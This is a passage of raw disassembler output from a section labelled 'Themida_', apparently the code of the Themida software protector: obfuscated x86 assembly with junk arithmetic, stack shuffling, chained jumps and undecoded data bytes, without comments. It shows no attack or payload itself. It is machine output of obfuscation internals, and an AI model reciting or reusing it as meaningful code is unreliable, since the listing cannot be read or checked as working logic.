		dd 7721E181h, 0E2E962D4h, 81000085h, 0E204E4F3h, 0BBECE922h
		dd 0C15C0000h, 36E907E6h, 8100009Bh, 0FB7E14C7h, 0F8895073h
		dd 0BC41E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5952A6:				; CODE XREF: Themida_:005918E9j
		mov	ebx, 4
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 77EE69ACh
		push	ebp
		mov	ebp, 79346133h
		neg	ebp
		inc	ebp
		jmp	loc_594E5F
; ---------------------------------------------------------------------------
a_psT4su	db '_PS»"',7,'â4éU',0Ah,0
		db 0
; ---------------------------------------------------------------------------


loc_5952E5:				; CODE XREF: Themida_:00595D9Ej
		mov	edi, 466C00BBh
		shl	edi, 7
		add	edi, 0FFFFFFFFh
		sub	edi, 2CC12658h
		add	eax, edi
		pop	edi
		inc	eax
		jmp	loc_59F6E1
; ---------------------------------------------------------------------------


loc_5952FF:				; CODE XREF: Themida_:00599B2Cj
		add	esi, 6062B960h
		or	ebx, esi
		pop	esi
		push	esi
		mov	esi, 4E6356C1h
		jmp	loc_5A242C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 555008E7h, 554D06BDh, 0D4ED813Ch, 81042630h,	0D1373EEDh
		dd 9FBB534Eh, 2953DE13h, 0EDC15BDDh, 0F5814505h, 7380EBB7h
		dd 99E9E889h, 0F0000C4h, 4768C8BEh, 89000074h, 48E9240Ch
		dd 51FFFFB7h, 815F5457h, 4C7h, 4EF8300h, 9FB9E9h, 24048F00h
		dd 3FA1E9h, 241C8700h, 0E7EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_595375:				; CODE XREF: Themida_:005A2073j
		pop	esi
		jmp	loc_59616E
; ---------------------------------------------------------------------------
		db 0BDh
		dd 40AA214Fh, 0D9DBA52h, 0E2810765h, 12BF390Ah,	3369F281h
		dd 38E95C63h
		db 0F6h, 2 dup(0)
byte_595397	db 66h			; DATA XREF: Themida_:00590814o
		dd 586866ADh, 3C896611h, 59BF6624h, 0BE665660h,	0CFE92121h
		dd 87000032h, 84E92414h, 52FFFFF9h, 0C281E289h,	4, 8704C283h
		dd 0E95C2414h, 9EDh, 8904EC83h,	74FF2434h, 1BE90424h, 0B900007Eh
		dd 4, 1966C381h, 9E90D4Fh, 5B00006Bh, 4A40E9h, 242C3100h
		dd 1073AE9h, 80E32800h,	506678EBh, 0E30044B4h, 88585866h
		dd 0E3005BDCh, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_5A1D47
; ---------------------------------------------------------------------------
		db 31h,	0C8h, 59h
		dd 478CEF81h, 0E9551604h, 0FFFFEF78h, 42474FFh,	5D2434FFh
		dd 8F04C483h, 97E92404h, 660000B7h, 661E2DB8h, 662D6535h
		dd 664D970Dh, 6655252Dh, 0E965A52Dh, 43B3h
; ---------------------------------------------------------------------------


loc_59545C:				; CODE XREF: Themida_:005A45F7j
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_59269F
; ---------------------------------------------------------------------------


loc_595476:				; CODE XREF: Themida_:005966E1j
		mov	edi, 0D922756Bh
		push	0E5Fh
		mov	[esp], eax
		jmp	loc_59E7EA
; ---------------------------------------------------------------------------


loc_595488:				; CODE XREF: Themida_:00598CF3j
		pop	edi
		push	22A6h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A0424
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 43E9DD88h, 54FFFFD8h, 4C6815Eh, 83000000h, 348704C6h
		dd 24248B24h, 0B808E9h,	0F0F48000h, 5D72E9h, 0E8885B00h
		dd 0E9240C8Bh, 0B776h
; ---------------------------------------------------------------------------


loc_5954D4:				; CODE XREF: Themida_:0059D885j
		add	esp, 4
		shr	ecx, 0Ah
		jmp	loc_59F5AB
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFF25Ah, 5DEA2959h, 148BD621h, 4C48324h, 122B6896h
		dd 4890000h, 2414F724h,	0C46EE9h, 80C2FE00h, 0CAFEBFC2h
		dd 2840C280h, 38E95AD0h, 83FFFFB7h, 0E8E904ECh,	890000C3h
		dd 0E4E9240Ch
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595527:				; CODE XREF: Themida_:00597F76j
		shr	ebp, 8
		push	ecx
		mov	ecx, 0EF859C8h
		sub	ecx, 0D8441C6h
		sub	ebp, ecx
		pop	ecx
		shl	ebp, 5
		sub	ebp, 0AEC13923h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, edi
		jmp	loc_596C3F
; ---------------------------------------------------------------------------
aXs		db 'XéÁÚ',0
		align 2
		dw 860Ch
		dd 0E908E8C0h, 0FC8Eh
; ---------------------------------------------------------------------------


loc_59555C:				; CODE XREF: Themida_:0059C425j
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_59B526
; ---------------------------------------------------------------------------
		dd 2414895Ch, 0FFC243E9h, 6F68B8FFh, 0C6010195h, 8396E9h
		dd 0E9515700h, 0FFFFE3ECh
; ---------------------------------------------------------------------------


loc_595588:				; CODE XREF: Themida_:005957B7j
		push	edx
		mov	edx, 657A7013h
		sub	edx, 29E037E2h
		neg	edx
		sub	edx, 47C69A8Eh
		add	ebp, edx
		jmp	loc_5A2876
; ---------------------------------------------------------------------------
		db 81h
		dd 5915B3EEh, 0E9595A7Dh, 1EA6h
aFlSq		db 'f‹$$éQ!',0          ; DATA XREF: Themida_:00590970o
		db 0
byte_5955B9	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:00590840o
		dd 89575266h, 6AE950E7h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5955C7:				; CODE XREF: Themida_:00590E3Ej
		pop	ebx
		add	esp, 4
		pop	ecx
		push	eax
		jmp	loc_596BC8
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0EAh
aLSe		db '‹,$é¥>',0
		align 10h
		dd 0BB241C89h, 8FC193D4h, 3BE9DF29h, 8100008Eh,	51B98BC5h
		dd 0CEE4E98Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5955FA:				; CODE XREF: Themida_:005999B6j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		db 58h
		dd 0D6F6F186h, 0CFE9F186h, 5AFFFFFBh, 6858C601h, 12AEh
		dd 0FFD4C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59561D:				; CODE XREF: Themida_:0059DC2Bj
		push	edx
		push	1Ch
		pop	edx
		add	edx, edi
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		mov	eax, [ebx]
		pop	ebx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		push	739Bh
		mov	[esp], ebx
		jmp	loc_591422
; ---------------------------------------------------------------------------


loc_595644:				; CODE XREF: Themida_:005A06EBj
		mov	[esp], ebp
		push	ebx
		mov	ebx, 69C837BEh
		mov	ebp, ebx
		pop	ebx
		push	1F17h
		mov	[esp], edx
		push	ebx
		mov	ebx, 284472DDh
		jmp	loc_5A1FF6
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704E9h, 3C895C24h, 3154BF24h, 0B850112Fh,	147705E5h
		dd 0D2347305h, 0F50E913h, 54500000h, 0F68CE9h
		db 0
; ---------------------------------------------------------------------------


loc_595689:				; CODE XREF: Themida_:0059D267j
		pop	edx
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_598FF7
; ---------------------------------------------------------------------------
aLSdo		db '‹$$éd®',0
		dw 5400h
		dd 0E22DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5956A9:				; CODE XREF: Themida_:005969F2j
		mov	ebx, 486465E4h
		shr	ebx, 2
		jmp	loc_59D892
; ---------------------------------------------------------------------------


loc_5956B6:				; CODE XREF: Themida_:0059CBAEj
		xor	edx, 7B8273DEh
		mov	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, ebx
		mov	ecx, eax
		pop	eax
		pop	ebx
		push	83C7E1DFh
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 3A4867DCh
		push	edx
		mov	edx, 28F50733h
		add	edi, edx
		jmp	loc_59CE7C
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 81595451h, 4C1h, 4C18100h, 87000000h, 875C240Ch, 685C2434h
		dd 3FADh, 54243489h, 5E2434FFh,	9D0BE9h, 4C48100h, 55000000h
		dd 24BDh, 0FAEE8100h, 5704122Fh, 10E95052h
		db 0F1h, 2 dup(0)
byte_59572F	db 0FFh			; DATA XREF: Themida_:00590878o
		dd 48B2434h, 4C48124h, 53000000h, 0FFFF62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595741:				; CODE XREF: Themida_:005A1D25j
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59DAEF
; ---------------------------------------------------------------------------
		dd 0B8505A54h, 4, 6858C201h, 77CAh, 68242C89h, 2E4A51AEh
		dd 0AABF575Dh, 0E92E4A51h, 3E89h, 8004C483h, 60E922E9h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5957A3:				; CODE XREF: Themida_:005A0D73j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A1B5A
; ---------------------------------------------------------------------------


loc_5957B2:				; CODE XREF: Themida_:0059AD04j
		mov	edx, 4
		jmp	loc_595588
; ---------------------------------------------------------------------------
		dd offset dword_542764+4
		dd 24148900h, 0F2A68h, 24248900h, 4240481h, 5A000000h
		dd 6CE8E9h, 24248B00h, 0E9241489h, 0E0A3h
; ---------------------------------------------------------------------------


loc_5957E4:				; CODE XREF: Themida_:00591508j
		shr	ecx, 2
		push	7D36h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	7914h
		mov	[esp], ebx
		push	7DAEh
		mov	[esp], edx
		push	5C037F3Ah
		pop	edx
		inc	edx
		push	esi
		jmp	loc_5A175B
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA830000h, 24148704h, 4ED0E9h
		db 0
; ---------------------------------------------------------------------------


loc_595839:				; CODE XREF: Themida_:00597982j
		pop	edx
		add	ebp, eax
		jmp	loc_59435A
; ---------------------------------------------------------------------------


loc_595841:				; CODE XREF: Themida_:005A191Ej
		and	ebx, esi
		pop	esi
		shr	ebx, 6
		sub	ebx, 0FB881h
		jmp	loc_5A3F63
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5FC8BD55h, 0EA214D53h, 81242C8Bh,	4C4h, 8E2C100h
		dd 1B951h, 0CDE90000h, 81000001h, 0FFFFFFEDh, 39E950FFh
		db 0B1h, 2 dup(0)
byte_595883	db 66h			; DATA XREF: Themida_:005908A4o
		dd 56240C8Bh, 24C0E9h, 24048900h, 0EA5ADBB8h, 5ADF354Fh
		dd 0C1014FEAh, 240C8758h, 2404875Ch, 6824248Bh,	6DBDh
		dd 0E9240C89h, 4570h, 0B4E9E289h, 5E0000DFh, 242C8B5Dh
		dd 4C481h, 6E90000h, 66000044h,	0E9241489h, 0B5D4h, 27E9575Ah
		dd 4F000062h, 0FA51EF81h, 7C0100D0h, 5F5F0424h,	4BA52h
		dd 0EF810000h, 448671FFh, 606DC781h, 0D7012A63h, 606DEF81h
		dd 0F7E92A63h, 330000B2h, 0FBE92434h, 68000050h, 1B2652E0h
		dd 0E94D4D5Dh, 734Ch, 835BDF01h, 3C8704C7h, 24248B24h
		dd 4EC8151h, 0E9000000h, 0F8CDh
; ---------------------------------------------------------------------------


loc_595934:				; CODE XREF: Themida_:0059B30Cj
		pop	esp
		push	ebp
		push	esi
		mov	esi, 4
		jmp	loc_590BE6
; ---------------------------------------------------------------------------


loc_595941:				; CODE XREF: Themida_:005A273Cj
		push	ebx
		mov	ebx, esp
		jmp	loc_59FD2D
; ---------------------------------------------------------------------------
		db 53h,	57h, 68h
		dd 703E6C27h, 0AAF7E9h,	0C3815D00h, 56F0466Ch, 0EB81CB29h
		dd 56F0466Ch, 0FFB266E9h, 0D82966FFh, 35582D66h, 99FE9h
		dd 8E6C100h, 77FCB850h,	0C6E9F3ACh, 81FFFFD2h, 4C6h, 24348700h
		dd 9268665Ch, 489666Bh,	4EC8324h, 0B3241C89h, 1EB80F5h
		dd 0D003EBC0h, 1250E9E3h, 0BA520000h, 5C3360F3h, 0FFFFC281h
		dd 0EA81FFFFh, 629B5436h, 0E281DAF7h, 11140ED0h, 7DBBF281h
		dd 0D0297B52h, 58C5895Ah, 9E5FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5959D6:				; CODE XREF: Themida_:00596E34j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59886E
; ---------------------------------------------------------------------------
		dd 1C58F32Dh, 0A718E915h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5959EE:				; CODE XREF: Themida_:00593530j
		and	al, bh
		pop	ebx
		inc	al
		add	al, 0FFh
		sub	al, 9Bh
		add	bl, al
		pop	eax
		add	bl, al
		sub	bl, 0C7h
		sub	bl, 0E0h
		movzx	eax, al
		jmp	loc_59104A
; ---------------------------------------------------------------------------


loc_595A0A:				; CODE XREF: Themida_:005A1488j
		sub	eax, 0D81731Eh
		inc	eax
		sub	eax, 38F342EBh
		add	eax, 0F3CD933Bh
		jmp	loc_59BDA4
; ---------------------------------------------------------------------------
		db 52h
		dd 477584BAh, 0F606E936h, 489FFFFh, 0FE6DB424h,	0C7DCE9C4h
		dd 685BFFFFh, 4BD6h, 0E9243489h, 0BC18h, 0F0E9CA29h, 0FF000090h
		dd 815E2434h, 4C4h, 0DEBF5700h,	1013976h, 52FAE9FBh, 14330000h
		dd 24248B24h, 2424D366h, 7C48E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595A72:				; CODE XREF: Themida_:005A4CC9j
		mov	[esp], ebx
		pop	eax
		pop	ebx
		push	7F0Ch
		mov	[esp], ecx
		push	5483h
		jmp	loc_598FCD
; ---------------------------------------------------------------------------


loc_595A89:				; CODE XREF: Themida_:0059970Fj
		inc	esi
		xor	esi, 2D604130h
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebx, 4A276F3h
		xor	ebx, 19B567ACh
		jmp	loc_5927B7
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 8104C483h, 0BD2E84C5h, 0C1DDF732h, 0D5F702E5h
		dd 1E6BB850h, 0C5291C65h, 75606858h, 14890000h,	0C3DBA24h
		dd 81426B88h, 6CE916F2h, 9937E904h, 4830000h, 53590424h
		dd 0C381E389h, 4, 6FA968h, 24048900h, 0FF124AB8h, 71BA5246h
		dd 0E96BDE3Eh, 0FFFFDD5Bh, 24048966h, 0E904EC83h, 0EF07h
		dd 5B66FD30h, 0E800E12Ch, 34FFE104h, 0D6685924h, 89000063h
		dd 8956243Ch, 4C681E6h,	53000000h, 4BBh, 0BB63E900h, 0F74DFFFFh
		dd 15F581DDh, 814EB61Ah, 71AE5FC5h, 0F5EF81DDh,	0E9044A46h
		dd 0D66Ch
; ---------------------------------------------------------------------------


loc_595B58:				; CODE XREF: Themida_:00592438j
		push	edi
		jmp	loc_59B57F
; ---------------------------------------------------------------------------


loc_595B5E:				; CODE XREF: Themida_:00591FE2j
		push	esp
		pop	ebp
		push	edi
		mov	edi, 164746DDh
		xor	edi, 599F58D0h
		xchg	eax, edi
		neg	eax
		xchg	eax, edi
		xor	edi, 0B027E1F7h
		jmp	loc_59C3A8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFE3B1E9h, 0E9CB29FFh, 2CD5h
; ---------------------------------------------------------------------------


loc_595B88:				; CODE XREF: Themida_:00591220j
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		push	1
		pop	ebp
		jmp	loc_5A3738
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0DE5F12h, 3BA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_595BAD:				; CODE XREF: Themida_:0059F533j
		push	ebx
		push	3A1Bh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5A3130
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 0E99C240Ch, 0FFFFAECBh
; ---------------------------------------------------------------------------


loc_595BD0:				; CODE XREF: Themida_:00599BE8j
		mov	ebx, ecx
		mov	ebp, ebx
		mov	ebx, [esp]
		push	4F18h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59D512
; ---------------------------------------------------------------------------
aBXxlnsK	db 'ÆåX‹Né|k',0
		db 0
; ---------------------------------------------------------------------------


loc_595BF7:				; CODE XREF: Themida_:005A1FD4j
		push	18C4h
		mov	[esp], ecx
		mov	ecx, 20431E70h
		sub	ecx, 5EB35BFCh
		push	eax
		mov	eax, 1D6220FAh
		jmp	loc_5A0BD1
; ---------------------------------------------------------------------------
aYsN		db 'Yé',1Bh,'­',0
		dw 2C00h
		dd 28142CC5h, 521404D8h, 345EB050h, 0E92D0435h,	0A109h
		dd 0FFAE66E9h, 0B7BF57FFh, 4F3B9942h, 2EFC14Fh,	0E3BCF81h
		dd 0BA522907h, 0EE97FA6Ah, 74D9E9h, 0D9EF8100h,	817EB967h
		dd 412480EFh, 0F60EE962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595C62:				; CODE XREF: Themida_:00593DBDj
		push	3ED2h
		mov	[esp], esi
		mov	eax, [esp]
		push	1BD3h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_5A3B25
; ---------------------------------------------------------------------------
		dw 0F521h
		dd 87B7E9h, 24048700h, 0F2BA525Ch, 814CF23Eh, 3517EAE2h
		dd 0DEEA813Fh, 810C3016h, 0E00E3AC5h, 51D50156h, 8B6AF1B9h
		dd 11F1817Bh, 0E9490C63h, 853Dh
; ---------------------------------------------------------------------------


loc_595CB8:				; CODE XREF: Themida_:0059A4DFj
		mov	edi, 4
		sub	eax, 4A6B3D74h
		add	eax, edi
		jmp	loc_5A5BE7
; ---------------------------------------------------------------------------


loc_595CC9:				; CODE XREF: Themida_:00592A80j
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A4F4F
; ---------------------------------------------------------------------------


loc_595CE2:				; CODE XREF: Themida_:0059D860j
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_599137
; ---------------------------------------------------------------------------
aFyDrCocms	db '»”Y×dRºCo–Méê*',0
		align 4
		dd 4C481h, 89560000h, 5EF389CEh, 5BDF0159h, 46855h, 15D0000h
		dd 242C8BEFh, 3304C483h, 73E9243Ch, 66000041h, 8124048Bh
		dd 2C4h, 0C0B60F00h, 24148B66h,	1F74E955h, 0C2B80000h
		dd 29872234h, 3E2BE9D8h, 815F0000h, 0A16AD1C6h,	81CE016Bh
		dd 0A16AD1EEh, 3433596Bh, 24343124h, 8B243433h,	0D3662424h
		dd 0E99C240Ch, 0FFFFAD2Fh, 5B12E781h, 0EF816FAFh, 58B5E3Ah
		dd 0D7E4E9h, 46800h, 555E0000h,	8D18EDBDh, 246C0164h, 74015D08h
		dd 0E9500424h, 8BFBh
; ---------------------------------------------------------------------------


loc_595D98:				; CODE XREF: Themida_:00594011j
		and	eax, 0F3A4584h
		push	edi
		jmp	loc_5952E5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F769E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595DAE:				; CODE XREF: Themida_:005A58A7j
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_5A4994
; ---------------------------------------------------------------------------
		db 68h,	3Ah, 3Ch
		dd 4890000h, 5585424h, 4, 405h,	24048700h, 5C68565Ch, 0FF06966Ah
		dd 0FCE92434h
		db 0DAh, 2 dup(0FFh)
byte_595DDF	db 0FFh			; DATA XREF: Themida_:005909ACo
		dd 669D1C77h, 2414D259h, 0D070E99Ch, 5456FFFFh,	0F48E9h
		db 0
byte_595DF5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00590818o
		dd 0EC815658h, 4, 83242489h, 3C8904ECh,	46824h,	15F0000h
		dd 8B04247Ch, 0C483243Ch, 24348B04h, 4C481h, 0E9550000h
		dd 0FFFFBD92h, 0B4B65266h, 0A4E9F000h, 810000F4h, 0A5AC76C7h
		dd 0FCEF813Ah, 890F8909h, 4FE95FFAh, 8B000097h,	1AE92424h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595E4F:				; CODE XREF: Themida_:0059366Dj
		pop	ebp
		pop	ebx
		mov	ebx, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_597DF6
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 51000000h, 42474FFh,	24048F59h, 0D068505Ch, 5840520Ah
		dd 82DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_595E89:				; CODE XREF: Themida_:00599225j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_591F3B
; ---------------------------------------------------------------------------
aRsC		db '\RéÅ—',0
		align 2
		dw 0B850h
		dd 4F371C49h, 18F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_595EB1:				; CODE XREF: Themida_:005990F9j
		shr	edi, 4
		sub	edi, 5ED41006h
		add	edi, 5DCE2929h
		jmp	loc_5A1793
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0E9h
		dd 8274h, 679268h, 24148900h, 5F9DE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59F734
; ---------------------------------------------------------------------------


loc_595EE1:				; CODE XREF: Themida_:0059DD69j
		pop	edx
		sub	eax, ebp
		pop	ebp
		xor	eax, 90F371Eh
		add	ecx, eax
		pop	eax
		jmp	loc_593CCE
; ---------------------------------------------------------------------------


loc_595EF2:				; CODE XREF: Themida_:005A0EC0j
		mov	esi, 4A49396Ah
		push	ebx
		push	edx
		jmp	loc_5A4768
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4EC8124h, 0E9000000h, 0D730h, 0C181C129h, 1080305h
		dd 6428BF57h, 0EF811A91h, 9FDDEDB6h, 6CE9F929h,	89000029h
		dd 4EC81E1h, 89000000h,	74BE2434h, 0F75CA479h, 0AEC6E9DEh
		dd 0EA81FFFFh, 244363B3h, 5E08950h, 4, 4B951h, 0C8290000h
		dd 3B31E959h, 0D7BE0000h, 81ABD2C6h, 406E7EEh, 57FE297Fh
		dd 0DD3FE9h, 4C65BD00h,	0EB214252h, 1148E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595F7A:				; CODE XREF: Themida_:0059E3E2j
		pop	esi
		push	dword ptr [esp]
		pop	edi
		push	7
		mov	[esp], eax
		jmp	loc_59E3A8
; ---------------------------------------------------------------------------
		dd 6EBC05Ah, 0B551C3FEh, 4703E928h, 0D5000000h,	80D3C580h
		dd 148B1CEDh, 0AB3BE924h, 3C87FFFFh, 12E95C24h,	8700002Ah
		dd 815C2404h, 1E6130C6h, 81D62919h, 1E6130EEh, 0C5BA5219h
		dd 2958C579h, 875A5AD6h, 9EE92434h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595FD7:				; CODE XREF: Themida_:00594F9Ej
		or	esi, ebp
		pop	ebp
		shr	esi, 8
		shl	esi, 1
		jmp	loc_5932F7
; ---------------------------------------------------------------------------
		dd 4240481h, 5F000000h,	4C781h,	0C7810000h, 4, 31243C33h
		dd 3C33243Ch, 24248B24h, 5C2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_596009:				; CODE XREF: Themida_:0059F5C3j
		sub	esi, 0E5359FE2h
		or	eax, esi
		pop	esi
		jmp	loc_593F57
; ---------------------------------------------------------------------------
		db 1
		dd 54702DD0h, 148B137Ch, 4C48124h, 0E9000000h, 0DEC2h
		dd 0CC0BE95Fh, 0F9B7FFFFh, 5B66FD00h, 958BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59603D:				; CODE XREF: Themida_:0059B0B4j
		add	ebx, ecx
		push	eax
		mov	eax, 696054Eh
		add	ebx, eax
		pop	eax
		pop	ecx
		jmp	loc_594DE8
; ---------------------------------------------------------------------------
		dw 5896h
		dd 139DE9h, 3AF5BB00h, 0FEE95861h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59605F:				; CODE XREF: Themida_:00597E6Ej
		push	ebp
		pop	eax
		pop	ebp
		jmp	loc_5A3286
; ---------------------------------------------------------------------------


loc_596067:				; CODE XREF: Themida_:00596173j
		add	esp, 4
		jmp	loc_591439
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 73F300EDh, 0DEB95143h, 296FB301h, 0D90159CBh, 240C875Bh
		dd 6C77E9h, 0E6895600h,	3912BD55h, 0E5C145F1h, 81DDF702h
		dd 3B1BB4EDh, 5DEE01E8h, 8704C683h, 0E95C2434h,	849Eh
		dd 44AFEE81h, 0DE01161Bh, 0AEE0E9h, 76A7BA00h, 0CA8154BCh
		dd 48A91603h, 0F742424Ah, 0A964E9D2h, 0BF570000h, 35F26215h
		dd 5CE9E9h, 242C3300h, 3B24248Bh, 0B0E99CC8h, 0FFFFFFA9h
		dd 8B042474h, 0C483241Ch, 24048F04h, 0E924248Bh, 9F44h
		dd 0EF669BBBh, 5AD33156h, 815BD931h, 4655E8C1h,	91E95041h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_596117:				; CODE XREF: Themida_:00597A83j
		and	edx, edi
		pop	edi
		neg	edx
		jmp	loc_59B113
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 69h
		dd 0E96BB151h, 0FFFFB19Ch
; ---------------------------------------------------------------------------


loc_59612C:				; CODE XREF: Themida_:005A5831j
		mov	[esp], ebp
		mov	ebp, 160E494Dh
		push	esi
		mov	esi, 2E8D4CA4h
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A00A8
; ---------------------------------------------------------------------------


loc_59614A:				; CODE XREF: Themida_:0059406Ej
		mov	ecx, 7A8157Fh
		sub	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_59F95B
; ---------------------------------------------------------------------------
		db 51h
		dd 63FAE9h, 240C8B00h, 5978E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59616E:				; CODE XREF: Themida_:00595376j
		xor	edx, ecx
		mov	ecx, [esp]
		jmp	loc_596067
; ---------------------------------------------------------------------------
		dd 81240489h, 4ECh, 24148900h, 0C2F10BAh, 7EAC14Ch, 1818C281h
		dd 0E9421F6Bh, 0E148h, 489A68h,	0D430E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5961A2:				; CODE XREF: Themida_:0059515Fj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_597700
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4BAC37BAh, 814BD3F7h, 0B56FF1CBh, 1ECFE97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5961BE:				; CODE XREF: Themida_:00594B75j
		push	ecx
		mov	ecx, 641A0846h
		and	ecx, 56655816h
		sub	ecx, 5719537Bh
		jmp	loc_59E419
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2414335Ch, 33241431h, 248B2414h, 0A8B1E924h,	0E95DFFFFh
		dd 0FFFFC667h, 8B247789h, 15E92434h, 0BB0000DFh, 0C614FAB5h
		dd 0FFC932E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596205:				; CODE XREF: Themida_:0059AB4Ej
		sub	edx, ebx
		jmp	loc_590D68
; ---------------------------------------------------------------------------
		dd 4BBh, 0EEC28100h, 0E90B101Ch, 0F7F2h, 2434FF58h, 1AE0E9h
		dd 4BCD8100h, 8112F140h, 0E53852C5h, 0E9EB2936h, 0FFFFB7B1h
		dd 358DEE81h, 0EE0122B1h, 358DC681h, 575D22B1h,	4BFh, 332DE900h
		dd 0DF010000h, 5FFD015Bh, 0D0E9E9h, 9C28100h, 81608724h
		dd 0A6963EBh, 81D30102h, 0A6963C3h, 24148B02h, 4C481h
		dd 1C870000h, 81B3E924h
		db 2 dup(0)
word_596282	dw 248Bh		; DATA XREF: Themida_:00590958o
		dd 0A811E924h, 0C480FFFFh, 8BE288FFh, 0DE92404h
		db 0D3h, 2 dup(0FFh)
byte_596297	db 66h			; DATA XREF: Themida_:005909E8o
		dd 68240C8Bh, 3334h, 54243C89h,	0C4BD555Fh, 4507612Fh
		dd 1E0ED81h, 0EDC13D3Eh, 4EC8107h, 89000000h, 79B82404h
		dd 0C1531947h, 685706E0h, 597C2753h, 1CDA2D5Fh,	0F8295450h
